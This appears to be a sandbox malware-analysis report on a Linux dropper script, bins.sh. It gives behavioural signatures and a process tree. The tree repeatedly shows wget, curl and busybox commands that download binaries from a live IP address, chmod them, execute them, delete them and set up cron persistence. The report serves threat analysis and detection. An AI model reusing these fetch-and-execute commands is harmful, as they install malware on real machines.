Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    14/11/2024, 22:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-2c27mathrp
  • SHA256 2d0b0b07c7328455938bfeacbc5e8b8ed2beeccaadfa44688f2250519031cf76
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1967) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1493
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1497
        • /usr/bin/wget
          wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /bin/chmod
          chmod 777 IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • File and Directory Permissions Modification
          PID:1512
        • /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          ./IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Executes dropped EXE
          PID:1513
        • /bin/rm
          rm IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
            PID:1515
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:1517
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/chmod
            chmod 777 VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • File and Directory Permissions Modification
            PID:1519
          • /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            ./VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Executes dropped EXE
            PID:1520
          • /bin/rm
            rm VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
              PID:1522
            • /usr/bin/wget
              wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:1524
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /bin/chmod
              chmod 777 n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • File and Directory Permissions Modification
              PID:1526
            • /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              ./n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Executes dropped EXE
              PID:1527
            • /bin/rm
              rm n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
                PID:1529
              • /usr/bin/wget
                wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:1531
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:1532
              • /bin/chmod
                chmod 777 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • File and Directory Permissions Modification
                PID:1533
              • /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                ./6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Executes dropped EXE
                PID:1534
              • /bin/rm
                rm 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                  PID:1536
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:1537
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:1538
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:1539
                • /bin/chmod
                  chmod 777 O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1540
                • /tmp/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  ./O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Executes dropped EXE
                  PID:1541
                • /bin/rm
                  rm O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                    PID:1543
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Writes file to tmp directory
                    PID:1544
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Writes file to tmp directory
                    PID:1545
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Writes file to tmp directory
                    PID:1546
                  • /bin/chmod
                    chmod 777 nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1547
                  • /tmp/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    ./nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1548
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1550
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1551
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1552
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1553
                        • /bin/rm
                          rm nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                          2⤵
                            PID:1555
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                            2⤵
                              PID:1558

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                • Path /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                • Path /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                                • Path /tmp/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                • Path /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                • Path /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                                • Path /tmp/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.LCSHER
                                • Path /var/spool/cron/crontabs/tmp.LCSHER
                                • Size 210B
                                • SHA256 2fe4732a6e215641346fcf6774629fc0ddd3a7a1ec28e7899ad90143825d7dcf
                                • MD5 SHA1 SHA512
                                Submit Download